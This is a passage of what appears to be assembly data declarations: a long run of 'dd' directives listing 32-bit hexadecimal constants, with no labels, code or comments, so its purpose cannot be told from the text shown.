0FB71040Ch, 0A145Ch, 37C788B2h, 9847D6EBh dd 49FA17D3h, 2B770061h, 77390319h, 60EEAC00h, 7C8A21ADh dd 0FC3B7424h, 2F8917CCh, 27604EDFh, 6B5C9CC0h, 0E6006FB1h dd 490CC9D8h, 8D656Eh, 0D7BB89BFh, 0F33A05F9h, 0DB00E6E8h dd 3BBAB415h, 0B04A6D97h, 38CF83Bh, 42DF33DAh, 0A6F8445Ch dd 5A01E720h, 772E8D07h, 48F5022Bh, 4ADAF8h, 0C99311EEh dd 0F462BD36h, 0BB88B71Fh, 0EB653AC0h, 41CF067h, 0B3BF60A3h dd 9090B08Fh, 8842002h, 5183F102h, 0FA050084h, 0C70B1394h dd 8115763Eh, 171873C0h, 16EC8CC5h, 228501CAh, 2661D61Ch dd 9060D0E7h, 0C6245006h, 13618C37h, 0C0A2165Fh, 267A99A4h dd 560FDA78h, 253EEA24h, 10051D01h, 1C009121h, 0FE83900Bh dd 82581D09h, 0BD7C0602h, 0A6072836h, 3F59A8B5h, 8AC36C85h dd 0A0C5A32Eh, 635AAA84h, 0E2DE183Bh, 669D28A0h, 0F0660D2h dd 0F8500F56h, 7980C059h, 0ADBFD708h, 20B94400h, 0BA268B76h dd 245A0356h, 59CAB3DCh, 0DE809001h, 880B36FCh, 38179890h dd 217D8609h, 66B98B79h dd 50B9D00Fh, 0E4006B7Bh, 59A1C53Fh, 79BA9Dh, 2F90FD05h dd 0FF121DA8h, 0E869F803h, 0E85E8B98h, 81A0A1h, 0FC4C0436h dd 6642176Bh, 9B034F70h, 8C2C657Ah, 60EA8AC1h, 0E61C5Eh dd 2853EE24h, 0D8AD9972h, 225C5000h, 39AB4BBDh, 4C350054h dd 48652478h, 250F1029h, 4E673Ah, 731AB71Ch, 0B3AD0064h dd 36E98360h, 12002A49h, 1F8B6C90h, 70074505h, 9A8C00F1h dd 0EE625EF7h, 951D49CAh, 0E06F36BEh, 2A9BD0A5h, 4BE43A44h dd 90660546h, 0B78C0296h, 90A18DB6h, 9DA7CAA9h, 0B20FC728h dd 0CB4A942h, 0E8362155h, 7D8B377Ch, 70920011h, 0A4500D31h dd 0F818971Ch, 0DD11B9A9h, 93660C84h, 5881BED8h, 444A621Eh dd 602611B0h, 22A2107Dh, 0CA6012Ah, 34DE9B40h, 52499009h dd 26589022h, 50C06898h, 0BE180F81h, 15109C8Bh, 6200E1DBh dd 2165AACh, 67562A10h, 10C7C8C8h, 39C3BC21h, 0FC0C1EE8h dd 108175B7h, 9C57D55h, 2689FB72h, 0C3C5800h, 520133B2h dd 7965930Dh, 70D8AFBFh, 0E1A4A38Bh, 0FFF8ABD6h, 4610C086h dd 8324FEA4h, 49056B03h, 0C132629Eh, 5FF095F1h, 86C3EE4h dd 14A79914h, 5CF01Fh, 2680F760h, 0AA00B3E6h, 53973F69h dd 60A305DEh, 3D32789Fh, 0DF3A20A4h, 80B0607Dh, 6202AEC9h dd 93DA385Fh, 0DB098C48h, 80464928h, 0B0BF3500h, 8339DC44h dd 0FA6B036Eh, 2B8D130Fh, 26A62002h, 9E50ED9Bh, 7BA32320h dd 3A4B0738h, 96800118h, 51C167Fh, 455B3258h, 86D44FA3h dd 3EF2CFE0h, 59196C1Eh, 0A908F621h, 97F2180h, 76FD5BCFh dd 0B6FAC40Eh, 9770C5ADh, 3D1BA401h, 0F884744Fh, 90A1A9F5h dd 6DA8E42Ch, 48852037h, 0BDAFE370h, 4A21FE2h, 80C1B082h dd 0B0005451h, 0DB5DEDC4h, 0CE3B2E6Eh, 0A3410881h, 0C8AD80C9h dd 0C9A038FBh, 36058398h, 0FAEC262Ah, 47658004h, 0E5E7C700h dd 3948C25Ch, 8A561320h, 0F560D420h, 4130D9E0h, 9D099801h dd 1ED4021h, 202337E0h, 83467E3Dh, 0ECFDABD0h, 84E804AFh dd 4625F12h, 0C080D0A1h, 0C15EA807h, 756ABDC9h, 565AC424h dd 62DC8C19h, 8850A908h, 6755298h, 0BF0A86EDh, 0B0CC618Eh dd 2D60A2h, 3112AE08h, 6A1702A6h, 12AC1648h, 0F4C7DFEBh dd 1E2252C0h, 3CAB0364h, 4CB3A3B9h, 21480830h, 1A1E5AF8h dd 0A0E2937Fh, 411AFC01h, 0DDB84C0Ah, 0B4ED09C3h, 54397CB6h dd 60A98817h, 277EB1ADh, 57012B52h, 1ACFCC7h, 7C21E19Eh dd 0E8958CE4h, 938A30A6h, 6A8BC041h, 0EEE3AE00h, 9F1F2048h dd 414E005Bh, 5002F9EAh, 6305B4EFh, 0FB64F526h, 445BC421h dd 5A001832h, 0A392E7Ah, 3C071EB8h, 0D0678DC0h, 0AA853770h dd 423E2D5h, 55DF70F5h, 17AC808Ch, 2C48A52Bh, 35580000h dd 9F052620h, 0ADB0A063h, 59FC06DBh, 2073FD32h, 18500CA1h dd 0FCE008F7h, 9BC4E809h, 0E0EF4E40h, 97289A4Ah, 5420D831h dd 78C53E9Ch, 4E75A6h, 5E66C66h, 0DCDC2C4Fh, 25204540h dd 67BA4ADh, 0E31D63BFh, 2E3F389Bh, 95BCD4D9h, 90166000h dd 42C2D406h, 438B00F0h, 52D8BA53h, 320074DEh, 2A125796h dd 6C67114h, 0FA65EF5Bh, 2F444821h, 0B3460E4Ch, 3F80188Eh dd 2D84FF5Ch, 69C18F02h, 49311930h, 4F608290h, 4F6D2693h dd 8EE308E8h, 0F19F8B0Ch, 6BB500B9h, 0C61BDE41h, 0B60001E0h dd 0E4922684h, 0F0700F4Bh, 0C2FA00A7h, 69F59622h, 212512Dh dd 1C40A2A8h, 74185371h, 8E34007Eh, 6F9B9585h, 0AF002A4Ch dd 64F3594Ah, 24FD5A02h, 0E4A038h, 2D2213FEh, 7912DF39h dd 0E052C386h, 0C0515408h, 3EF4CFFBh, 0A522EE46h, 0CF036100h dd 140BA18Ch, 0BE100499h, 0C162BB5Fh, 3A5AFFCh, 3881F8C5h dd 0B9B72C3Bh, 0DC93414Ch, 0D4985A0h, 50C001E9h, 9DA6F76h dd 50CDB269h, 18532011h, 0FDE008F6h, 65C4F009h, 0E0EE4F40h dd 0B1E8C844h, 0ED015FFCh, 8CC3096Bh, 54253BF2h, 3EFDF440h dd 831D28B7h, 0D86F0A80h, 0ADC35F1h, 4BD08A41h, 85691400h dd 0B071E8Eh, 0F78B45C9h, 22F1660h, 242ACFDCh, 9031974Ch dd 51D358h, 35FCA133h, 1268A0h, 5C5E3601h, 5FA64EE0h, 0B23C8707h dd 730F311Dh, 72DC1040h, 2C9DD56h, 208918A4h, 34C43EC5h dd 1C701C20h, 41EF4601h, 8A10AB0Fh, 52798090h, 0C3247B40h dd 531500C7h, 6106CC94h, 0DE1CD8BDh, 0BCD5932Ah, 4561EB8h dd 0FA698C00h, 1210ED59h, 17ADAB2h, 0CD0B0958h, 0B7788941h dd 81704AB0h, 40AAD064h, 81EF01h, 0BBC6FAh, 2D4BD255h dd 455E0256h, 8A69BD60h, 314A2815h, 0DE70FBA5h, 6CA0242Ch dd 0C241EA01h, 0CC0DD0F0h, 0F737E8h, 1350016Fh, 8EA4F8A7h dd 0EAD41750h, 2301C89Bh, 4AB671Eh, 0F9883B18h, 0ED1E015Bh dd 33B7FB75h, 334211Dh, 9D0717Ch, 7891C251h, 0FD805F91h dd 0FE3EF6CFh, 63AC448Ch, 0BACF0500h, 6D16787Ch, 6D8075Eh dd 0A0B36B93h, 421C9DB9h, 0DF38F11Fh, 0AC40BDD2h, 0ED50045Eh dd 0D045642Fh, 96C8051h, 0F0A8752Bh, 3100425Eh, 50E16822h dd 9261D2FFh, 12A21F88h, 1555C5CCh, 825C945Fh, 0AB20C174h dd 88B5F4C5h, 0C2C3153h, 5147385Ah, 0AC207185h, 0A10457EAh dd 82C292E4h, 0C9FC6CC8h, 0D433C510h, 0B83064A2h, 87CA0054h dd 6375D431h, 6D00157Ah, 52B0E9B7h, 0C0918BD6h, 0ECBC0731h dd 3073F9Ah, 0F98A1FEh, 0A85905D0h, 80B747Eh, 60B7B49Dh dd 3D0F2CA6h, 0E8487083h, 2B93B10h, 21AF38FCh, 58B080BEh dd 0A1335044h, 85F1A1D0h, 17140028h, 5A23F074h, 0F3CF0438h dd 0AB62263Eh, 0CF087C20h, 73E400B6h, 823097D0h, 0DCFAE633h dd 6FF3C017h, 8C77103Ah, 20849901h, 0CFCE9A96h, 0A84CE077h dd 2329D10h, 1DC42A5Eh, 71F4C6F8h, 15230081h, 0A09CBEF0h dd 4D04803Dh, 0BB165A6Ah, 80C0B884h, 1A2CC46h, 4C171876h dd 3426FA68h, 4B00F328h, 24202C0Ch, 0C49B7F2Dh, 890A3178h dd 0E7E03014h, 0C139940h, 33250883h, 3960D990h, 0FC249CC9h dd 4F9B01E8h, 0A4B73526h, 69B44096h, 54586120h, 42F9778h dd 0BB008C77h, 0D8C25931h, 0A435A51Fh, 57D0C0B0h, 2E69E456h dd 465EA494h, 839403AEh, 0F2F46625h, 40C48Bh, 5964569Dh dd 4FA730BFh, 0F4DC2303h, 0F0C33F65h, 1284D0A1h, 0C07767F2h dd 300AE56Ch, 963AA280h, 83189CCh, 0C3AF484Bh, 610081DAh dd 0A3384F17h, 123B7E83h, 40A791E7h, 0ADCD1F4Ch, 2F2C7C0h dd 6F606894h, 46242775h, 0B02262h, 2375579Dh, 7E86AD87h dd 0C8A21600h, 74215194h, 5F6401D9h, 0B1130F27h, 78602C45h dd 5DE890Eh, 32C89867h, 57B43C3Ch, 0E1C1782h, 87098C31h dd 24D843D8h, 0B6090830h, 0F6DFA100h, 30C5B56Fh, 5D20BE88h dd 50144932h, 0E1200FEEh, 3518AA9Ah, 0A4571D10h, 4725240Ch dd 56B0AD91h, 2618AA62h, 0FA68C6E6h, 0B0DEh, 0A28D1F82h dd 26F9BC14h, 9F23773Bh, 670616DDh, 0B0319E8Bh, 0F92A0064h dd 34E92964h, 1301CA01h, 0AF94091Dh, 21F47707h, 0CCB32879h dd 894A1A8h, 634030B0h, 0A9638B15h, 108F5288h, 4812398h dd 0D3157F6h, 2035988Ch, 0FB006C7Bh, 90BE1101h, 44DE923Fh dd 0E3003744h, 1E4877AFh, 0C929ACh, 0D2A2A9CEh, 2898D1A3h dd 0B3DC9200h, 4426F59Eh, 0B678ACh, 42408FDBh, 24C1ADBBh dd 74F0A74Ch, 14DE8240h, 809336D7h, 80683235h, 20E99728h dd 0CC818C2Ch, 8B815718h, 3F8CA889h, 109E087h, 0CEC5F74h dd 80804713h dd 1605E641h, 38D9C2h, 0CF9676BEh, 0A8EF12DDh, 80A96000h dd 0C913090Dh, 7089A37h, 0C7528310h, 0EFDB20D6h, 0F5246EF9h dd 0ED0030B7h, 0BD1C6F46h, 0E9731F5Ch, 0E280BF9Fh, 0EA84648Fh dd 820E32A9h, 875F9D89h, 97B7AEECh, 73479A80h, 78870EE7h dd 0B780EEDDh, 42B0E1A2h, 0E0C76C00h, 0B4F06553h, 0EE990041h dd 1B7758B6h, 820169B3h, 786486E7h, 0B8E253E2h, 0F08DCD38h dd 95D2F1DFh, 0E8D42018h, 60F678E1h, 4F97B042h, 0E5001C6Eh dd 8DF9656Ah, 0FACE8446h, 0EE7FCB7h, 0FA984282h, 11900BBEh dd 0C38E3C80h, 0D1C37B53h, 0C0FD9266h, 55CD7552h, 0B6DD9889h dd 0EC0C045Eh, 0E10503Bh, 292D300h, 0E2234A6Bh, 0D93400B8h dd 38C8F94Fh, 31006DDEh, 5CE198BEh, 0C0967B1h, 6A472855h dd 0BD0A6E18h, 8530852h, 0B7009516h, 0C3EA0AD8h, 0E2800AEEh dd 2C21B6h, 425B2088h, 0B1534A6Dh, 88B5340Ch, 468B0C71h dd 0CDFD3081h, 86DA590Ah, 5838CF58h, 2980679h, 40F154D0h dd 956D6619h, 4098E7E8h, 51645991h, 3D7828D0h, 588CA866h dd 0DFDB6C21h, 0EFB0C414h, 0E27733C8h, 401DC223h, 0A8D852E3h dd 8480F13Ah, 5384E4A1h, 0E104C483h, 28803E13h, 0D4C5243Dh dd 0C1823A2h, 0B61910FBh, 410D2456h, 0D59FE4h, 0BE37BBC9h dd 44E44CE3h, 0D6286474h, 68090CF0h, 20CAD7B8h, 32BA45FCh dd 4FC200A1h, 0CE6B090Ch, 22281D8Ch, 893C0C1Ah, 144C2649h dd 5828CA9Fh, 7CFDDD05h, 643A490Dh, 4C02F522h, 0BCE244B3h dd 0BC8C8830h, 84F1A608h, 88870ACAh, 82F35F68h, 3A683680h dd 0B41C4872h, 0F8D953A3h, 5165E202h, 5C6053EFh, 418A378Fh dd 67105748h, 9861B03Ah, 0BCF5F3C1h, 8ACB8C4Ch, 0D02DE435h dd 38D41B31h, 98116954h, 2039DBA5h, 91361E18h, 6802BCABh dd 0C1B6D289h, 0EF80A1A8h, 884C2357h, 0A3B509F9h, 640E886Eh dd 11BC6DE8h, 0B105A6C0h, 4270EAC1h, 53CCFBE0h, 4E440C46h dd 5580AE39h, 0C18985Eh, 8C9F5040h, 84E22CB3h, 8C0A5504h dd 986688CFh, 656428E0h, 0F0B222F4h, 0A25A6815h, 28390494h dd 6090A971h, 91920C52h, 42859128h, 98B48A80h, 0DA0A0CA3h dd 0F6028C7Ch, 67CE5F16h, 0DB31D80Ch, 1A3D828Fh, 0A846A666h dd 0B9EE5945h, 0C8493B80h, 50A10C0Ch, 93858CB6h, 9747549Ch dd 54860AA8h, 93D88C65h, 2CBDC4A0h, 0A6130984h, 1425B8E4h dd 88D83540h, 9964E774h, 509E6D61h, 0F1F12011h, 22F0494Bh dd 0E51CA58h, 0AC106BA8h, 79C5C52Bh, 0D823D1F9h, 58215696h dd 934CCECAh, 0C82C3F23h, 16C4D7CAh, 18ECD06Fh, 0C7106FA2h dd 0DBBE09ABh, 483E86Dh, 44E44876h, 0D41C4797h, 4B86CCE2h dd 18CF9CD0h, 5369E76Ch, 3E70D586h, 0DE4459DCh, 4F50DDECh dd 0F889BA9Ch, 11883C4Ch, 0E4C44853h, 0C13CE851h, 0BD4EA3DCh dd 467C7E1Eh, 0FB88BE85h, 9EF0128Ah, 6E48C45Ch, 4D509049h dd 0E30E867Dh, 6FE146A9h, 1CC03FBAh, 0E67897B3h, 775C00B0h dd 0DD48681Bh, 0A30055EDh, 58AEF699h, 831C45h, 87A9824Dh dd 721D865Fh, 0ED6D321Dh, 8C6F978Eh, 0C3EE28AFh, 87E77710h dd 0B4EA83E0h, 0A8704100h, 0ED823280h, 0DE5C0F73h, 7881BCA9h dd 0E958AA1Ch, 260BCA8h, 6A5C8DEFh, 88104AA2h, 0D6D704E4h dd 73669E09h, 74B400E9h, 274F81A2h, 449C8871h, 93539820h dd 0C2791C54h, 3C3910Ah, 9651002h, 7E752082h, 67633C68h dd 4B05159h, 0A9F832D8h, 0C2EDF4C3h, 830C014h, 0CB624095h dd 0F64D931Fh, 2CD4B84Eh, 0E8AA9067h, 77620004h, 0CE5694CCh dd 110B2DF3h, 0A52A38h, 3FE1A320h, 55D72E41h, 96C90590h dd 1ECC9136h, 39708F9Ah, 405A0AEFh, 6FB7B403h, 73E97E08h dd 0B8655C5Dh, 80785E2Eh, 63977EF6h, 7CA4FD4Ah, 0FA086973h dd 0F0AE3A29h, 0DA4D1A20h, 0C80204B4h, 5CA0F74Eh, 0ABF00C65h dd 6F689FE7h, 38309463h, 0BAF83025h, 0FEB22381h, 28442E4Ah dd 0B106FBE9h, 0E1E5014h, 253A6C72h, 765C2564h, 11EA8C28h dd 0E349DF85h, 0E2800593h, 97A791Dh, 0B0906188h, 2502229Ah dd 0EDBFC883h, 16042097h, 7FB05BE4h, 0FF99DB0Fh, 89628C23h dd 8848A163h, 721F4892h, 6445A728h, 980B779h, 0A1C5A859h dd 54015D68h, 5C5145E3h, 0E7F80A85h, 1B6E075Fh, 70734672h dd 0E2864DAAh, 78B35DECh, 5002BD16h, 0C34180E7h, 9197E054h dd 7CE674F8h, 58B7016Ah, 0C44C8237h, 88444C43h, 0F402B07Fh dd 3FB91B3Dh, 204983Eh, 0ACBC7CFBh, 93088010h, 5FB63EEEh dd 30A66544h, 78CA8B2Ch, 865620CCh, 497CC8B0h, 0A4A05353h dd 2527E449h, 1032D7CCh, 230899E9h, 0FB256412h, 0CE2B306Ch dd 10949F59h, 0C124A5A2h, 9111154Fh, 0B90A9F08h, 278C7053h dd 9B5710D0h, 0A2157C9Ch, 87C4A028h, 8C8AA990h, 8B025068h dd 8863E2CCh, 9C2E18D4h, 85D343Ch, 2257E033h, 51445009h dd 124B894Ah, 48552454h, 224F914Eh, 0A2494448h, 0AC12A389h dd 0A64FAD24h, 0E3F14F80h, 0FD0A986Dh, 0F4916FE1h, 52B88C46h dd 51CA8462h, 7E655D04h, 0BC3F084Ah, 80305600h, 0F650352h dd 4EB7E296h, 81BF2387h, 0F0996A34h, 4101538Bh, 325F1E30h dd 3AD11666h, 22E10ED1h, 4B403EE3h, 99279600h, 0BC838950h dd 6A316500h, 5CE468B9h, 0AF7525BEh, 0A1FF4835h, 64D5FF04h dd 0C014B88Dh, 66EDF87Fh, 9BFB0881h, 361D6563h, 1F563829h dd 0D18DEAE1h, 1B340395h, 78336DB9h, 38288A09h, 75D55F04h dd 5E61E280h, 3E8E5D3Ch, 0AD0CBE8Dh, 0CE21B7D0h, 0B8382352h dd 0E21300DCh, 22164933h, 531885E7h, 0EA18514Bh, 0B80C003Ah dd 0A61A64CBh, 1CA06223h, 0AF01B904h, 791180CEh, 28488D45h dd 0E44EBD58h, 6397E80Ch, 30EF41A3h, 0D73053BDh, 0E4004E59h dd 14A9F674h, 78E746h, 0C882F50Dh, 98628EA1h, 0DCEB451Ch dd 0E4386140h, 7DF33F1h, 56E65FEFh, 8965115Dh, 0CCD8F0B0h dd 1EF66E1Eh, 4D8B3900h, 18766C09h, 0F9546188h, 0A8002D94h dd 73DD1A8Ah, 4A11B0h, 0F9DCFFF6h, 0B9A4EE32h, 90CB3Ch dd 0C8BFC1C9h, 1D1571CAh, 733711h, 6109B83Dh, 0CD00D4E4h dd 1C5B5CD5h, 587446h, 0F55F57E6h, 0C65D61E3h, 0DF14C60h dd 3B067EEAh, 0BD03708Bh, 0F1B1C190h, 0CEDCE590h, 2835B430h dd 0C3F20A57h, 0AD2B88A8h, 8C00D87Ch, 381B630Bh, 3BA6BAh dd 0C26F8670h, 832B9EEAh, 0FB2E5805h, 0EC5EC534h, 0C80C17C0h dd 0F95688Bh, 0F37BC645h, 0C4F27E60h, 0E800518Eh, 9BFB7263h dd 3EFF429Dh, 2016D3A3h, 0C11DAAA9h, 7746081h, 0E3E0A686h dd 42621398h, 476EBC06h, 189C3C14h, 0A5300441h, 9EA73EF8h dd 609AE308h, 409D8C00h, 669B0Bh, 0C5D8FD69h, 93A2FC81h dd 0E8535901h, 0D90F4661h, 8E0C1880h, 0A4F85866h, 0F059921Dh dd 0E8508030h, 3F0CE86Eh, 0C74998Fh, 0F7291A9h, 0E3307A78h dd 908A319Fh, 726180A4h, 0C960529h, 84C5878Ah, 0FD4D6280h dd 14A59A9Bh, 8891A706h, 409C8A03h, 293D860Ah, 0D82B8387h dd 0C089EEDEh, 0C0EC4188h, 0C2C9C518h, 58E6FCCCh, 0BDB07A54h dd 45BB4B00h, 0F849C11Bh, 0D1D80059h, 82D0FA83h, 53003A55h dd 684E7038h, 3807D8Fh, 0D4B56378h, 0B7E089E1h, 0E41DB109h dd 37034401h, 1B44088h, 0DBC04971h, 0C0C2E127h, 7000F009h dd 408EC907h, 0DD95F6FBh, 3015CE28h, 6D62C681h, 7E988D7Ch dd 1812A175h, 0B14521CEh, 4268B931h, 317D791Bh, 70F71CD8h dd 1091818h, 0A9426359h dd 0C2FD7EA4h, 0CF22288Fh, 0E7204015h, 0F0388B60h, 0DBC5D6D1h dd 301091B8h, 1D18970Eh, 0A4C779EFh, 507E31C3h, 62800C3h dd 2038895Bh, 2276C6C1h, 565C78C0h, 5078A969h, 8CF5D080h dd 183FED43h, 43BC0346h, 19E06F33h, 0B9137930h, 80C1217Ch dd 0F5DA1569h, 0A958E9A1h, 0F18264A4h, 0E7DBFE98h, 0F051DC8Dh dd 0B2731B02h, 350F31C3h, 0C2182A8Fh, 54DC284Ch, 0DD848058h dd 0C000E982h, 6F48674Bh, 81396F18h, 0E94CEAD5h, 0F1D3186h dd 95541856h, 5351FC4Ch, 0FDE81358h, 620E9104h, 28868232h dd 0A19CF839h, 0D608A8A4h, 93B28842h, 0B8B2744Dh, 0D1421CDFh dd 0B242A33Eh, 0E51A18FAh, 0D750C88Ch, 55C8AB47h, 0F38ABC90h dd 66217C50h, 228644DDh, 8289FBBh, 0B051863Ah, 4E8D0308h dd 0D1DE7835h, 500B23A8h, 1485DB6Eh, 53102895h, 42AAFC50h dd 458A8885h, 8503E9Bh, 64E07822h, 4050887Eh, 41086C99h dd 220E93E7h, 34688A60h, 4C48A79Ch, 936D8160h, 61B5E922h dd 40840440h, 9374CE3h, 6EDF018Eh, 0FB4378CCh, 4C3198CBh dd 1948C509h, 0B1D6061Bh, 27FA10FCh, 34FE1343h, 0FDA80CF1h dd 0AF53FB10h, 76584338h, 79926781h, 11DC52CEh, 0EDC63CA0h dd 9B44409Eh, 28C148Dh, 0C784A05Bh, 6864CC5Fh, 41304899h dd 62C9D464h, 5841189h, 0C835461h, 45416Bh, 22996D38h dd 0E0D731FDh, 12034E84h, 4FA7B549h, 24A298D9h, 0A1C53842h dd 4679D00h, 4764451Ch, 609FF101h, 8286105Bh, 0E8C0F344h dd 9D2F42h, 9BF85F93h, 2C504E60h, 60E6EF8h, 8043B28Ah dd 0FD749C8Ch, 0E954B049h, 196F87F0h, 409F910Ch, 0FCF86081h dd 40BCA505h, 4027A7E2h, 469F9880h, 3E84F0FFh, 992E1D8Ah dd 30533C2Ch, 0E3469860h, 1CA6608Bh, 0A6FBD08h, 3C50009Ah dd 980C4766h, 60A641E8h, 0B082B09Ah, 0E0000437h, 0A6E6098h dd 0E4D20E8Bh, 11378C4Bh, 0A8811864h, 70F14293h, 32027D9Ch dd 9A5A7CBh, 412CB88Bh, 0C49D5006h, 0D3CB3E0Fh, 0A7323502h dd 3898E34Ah, 0A9013351h, 993F3580h, 0A7DFF640h, 40E814BAh dd 344AC5E1h, 0E49A9F8h, 6E63A704h, 5B664A9Fh, 0A46701F8h dd 44D1CC08h, 0AF042A4Ch, 0B2A12C00h, 0B3450252h, 2A7C03ECh dd 320C8300h, 8A0F7692h, 347A4C60h, 642A909h, 8B8F00AEh dd 0A0862818h, 4834A53Ch, 0A70B0098h, 334D9F9Eh, 0F85B3D61h dd 0E1840CCh, 0DE502832h, 0F519213h, 6C002035h, 46939A35h dd 12EC90F2h, 30A734A4h, 0E547E474h, 188991D2h, 84FF040Ah dd 308055D2h, 0B0C4067h, 0FF5EB0E6h, 0D8309024h, 0C4887B4h dd 0FDB50158h, 0FC5F9C98h, 26AEA7D0h, 7D0A321h, 81D99D0Fh dd 899AA90Ah, 80908C40h, 4D91E6C0h, 0A58A07F1h, 478DE377h dd 8C0E8946h, 619A6AE0h, 0A439F97Ah, 1670589Ch, 84015964h dd 9730A5AEh, 7104A020h, 37A47891h, 34609D8Bh, 58AC869Ch dd 86F97239h, 8E0DB560h, 92331F40h, 9A300D66h, 0E0A0D1C8h dd 9F630A46h, 0E7E6E330h, 0F9A1184Fh, 75EF88Bh, 5B6EA701h dd 98B47EF0h, 0ADFA0490h, 660FF84Ah, 0EE1CFDA5h, 9FE4C1D4h dd 36DC217Dh, 0E7450060h, 9D076FB8h, 490DE2A5h, 71D2B898h dd 247EF318h, 1C98A2F0h, 91748C98h, 796E03Eh, 8CA93047h dd 66A4F6C0h, 7CFB5859h, 98013C78h, 0A906680Eh, 236087AAh dd 0D2505F04h, 9BE22C05h, 673D85C4h, 60B48268h, 0A526E4CEh dd 63C50C75h, 958E9880h, 74DCB069h, 0E8D89060h, 2C8DF074h dd 49C44292h, 6FA51C03h, 0E3770975h, 0A3E46048h, 92502CA4h dd 9BFB82C0h, 20E18AFEh, 3090CD2Eh, 69C79D10h, 0FC83668Bh dd 0FDA4A1A2h, 0F9E3D064h, 3C482C4Bh, 0B64C987Ch, 34CC3DC0h dd 5B580E30h, 66389C33h, 668D3E7Ah, 2980E4B0h, 2E189E27h dd 6BB013DCh, 447FE38h, 4AA9E1ABh, 5B8633C4h, 5C845E58h dd 5069488Dh, 857C7872h, 0B56E718h, 1C59C800h, 472D608Ch dd 41501F0Ch, 0F82F43B2h, 0FF585990h, 20470BD8h, 0F8648099h dd 556860A2h, 0F86C40FDh, 3501DCAh, 1E3A84E6h, 15B80A0h dd 520A75Ch, 419C8E08h, 7D6038C1h, 743A443Ch, 47669109h dd 9B5A3CE4h, 1895D421h, 0A291ECh, 5B9C8C0Ah, 4298A4E2h dd 0BF5C8AF0h, 64177F8Ch, 9007046Bh, 8FEE204Fh, 505890A3h dd 46B0903Eh, 8A084321h, 0E46E9325h, 4B80B210h, 53C860FDh dd 68C79548h, 0F0C1822Bh, 804264A4h, 64349798h, 8AECB03Ch dd 34E850BEh, 4099055Fh, 590F70Fh, 0FC47642Eh, 16B5F000h dd 0AEBC36h, 40939802h, 4D9EE606h, 0E221F962h, 0F0FCE07Eh dd 4691019Bh, 72A5A4E3h, 1990ADF8h, 5AC486E0h, 38A453FCh dd 0A71DB43Dh, 17B38A8h, 180FF5A1h, 0C914ECBBh, 0E020F0C5h dd 1CE6B60Eh, 1AEF80D9h, 76E972EAh, 0EF9E815h, 0FBB4EB0Fh dd 0E8973880h, 0B71D061Ch, 0B5062009h, 0F281EEFh, 730AED18h dd 0C4800FEFh, 0CB04DDE6h, 20C719FCh, 0A18105FCh, 0CAF01EF7h dd 181B07F5h, 4020ECB6h, 214E6C6h, 0F2BD08C0h, 3EFE1082h dd 0F00C517h, 0DD9EA0EDh, 1BFCB1F8h, 0B40FB6F0h, 5FBCEB23h dd 0F5B7A306h, 0E9E888h, 0B4B8061Ah, 0E8BCECFEh, 0BE40CFh dd 0F9C3EBFFh, 7D091E16h, 0C5E7C0B5h, 7EEF0EF7h, 0D8B8CF00h dd 0D311F2C3h, 0DDE801C7h, 1AFABCEAh, 20E6F0F8h, 0DBE9E0F9h dd 0DDF328C3h, 51874D5h, 0EEFCADFh, 0D4584018h, 0D55233BDh dd 832C130h, 0C0C2A8CEh, 0B57EDB20h, 0C900F011h, 0A2D2DDE9h dd 3EEB19E4h, 0A867F7C7h, 20D8C5F2h, 0BCDF0F78h, 0EA2810E8h dd 183EC8C6h, 1FF33CB1h, 0D318E8A0h, 51D2F8E8h, 0C5F1F0C7h dd 42F4454h, 0B401D2EBh, 0B20511FAh, 1CFCDC30h, 9C1BEF9Bh dd 0D5804052h, 0CE3B8CDFh, 0A1D1F80Fh, 74220034h, 0DE463Dh dd 25947336h, 0DC1D89FBh, 0ECB8E400h, 6B6FAD66h, 4B1003D5h dd 4AD022E7h, 0DFBD3003h, 0C8EE0559h, 61C81D11h, 0CE34884Fh dd 6000DFB8h, 6A8C42DDh, 18ADE44h, 3EFC8F28h, 83D07496h dd 0B2E95220h, 9C1CCAA3h, 55692320h, 0ED489001h, 9880CDEEh dd 0E54A7C52h, 8A0BB12h, 8C1BD1D5h, 0AAB027CAh, 69412EE8h dd 0D01E4F5Ah, 3307C179h, 0A8EDC9B6h, 904497F2h, 3CCC6A4h dd 6B559449h, 9B816D66h, 0C71C4C59h, 0A8D7F980h, 2F54C0h dd 0C17B4BF8h, 0E502175Ch, 0C6D4CA0Ch, 606D98BDh, 0CE7561BBh dd 90001F5Ch, 0C8AE9D69h, 6542D4D0h, 1E0628ABh, 0EEBBBCC4h dd 1CF067AAh, 7E0272h, 4FE103EAh, 8CC1BD1h, 0A72159h, 51327E09h dd 37928730h, 0DC4C84A0h, 0D6A1CF61h, 0E183393Bh, 0B36F92A5h dd 0BC09100h, 0B116FC9Eh, 0B07184h, 4CDDBBFAh, 9CA3E3C8h dd 57590491h, 0D571800Dh, 7E25B638h, 153479A2h, 1CFBE58Ah dd 9B0D4188h, 0F801C951h, 171854B3h, 6C953814h, 0F6DD002Ch dd 0E7340427h, 3CD90E86h, 0A78D870Fh, 27FFC021h, 1C61A90Eh dd 0C08C62CCh, 91A897BFh, 994B8358h, 2BD2A8B0h, 0CC355494h dd 6048CF2h, 0E3E9FC7Eh, 0AB805867h, 0E71D7E0Dh, 14FF0525h dd 0BE390Bh, 5A032694h, 88900A84h, 28CA2022h, 74B8B4ECh dd 0E91188AAh, 0C0A8224h, 3861FA12h, 18194A30h, 4581E31Ch dd 0B1116C26h, 3F0C9FA2h, 1E4C2138h, 0C02286FBh, 0C6357EF3h dd 98C3BB44h, 6FBC5963h, 56068849h, 943011BAh, 77B4414Ah dd 9B7C0241h, 0A15E059Eh, 0DC22AC41h, 74AD165Ah, 304BF6E2h dd 0C3F4DCCAh, 0A1974F80h, 0C692DAA8h, 4D01E7Dh, 0C8BD76DCh dd 0E9484C08h dd 3C078184h, 0FAF00182h, 0EC934848h, 0B5574478h, 0A250CF4Ch dd 0D85106A4h, 48DD0137h, 0E40B5AB1h, 74416421h, 221E7021h dd 820875Bh, 61C07B12h, 802EBB5Ch, 0B0A84B94h, 761E5DDBh dd 810C115Fh, 2BF8BCh, 87F34C3Dh, 0B17CCE82h, 4F97B8C1h dd 2CF923Fh, 4C2EBD8h, 8441BAC4h, 8FF18EFh, 0BEA017Eh dd 904955C4h, 0C9737000h, 0B6305765h, 0E4C65050h, 0B0C55083h dd 4B94970h, 0B8804338h, 212C6139h, 0F90EDCD1h, 60B951B2h dd 6B6C6638h, 0CE59C05Ch, 5A8C726h, 0E224B400h, 492CC4C3h dd 0BAF50CF4h, 63296BCFh, 813C4F48h, 0F6E4CAEAh, 0FA50FC34h dd 0CC89A42h, 0D9B2E575h, 36000E18h, 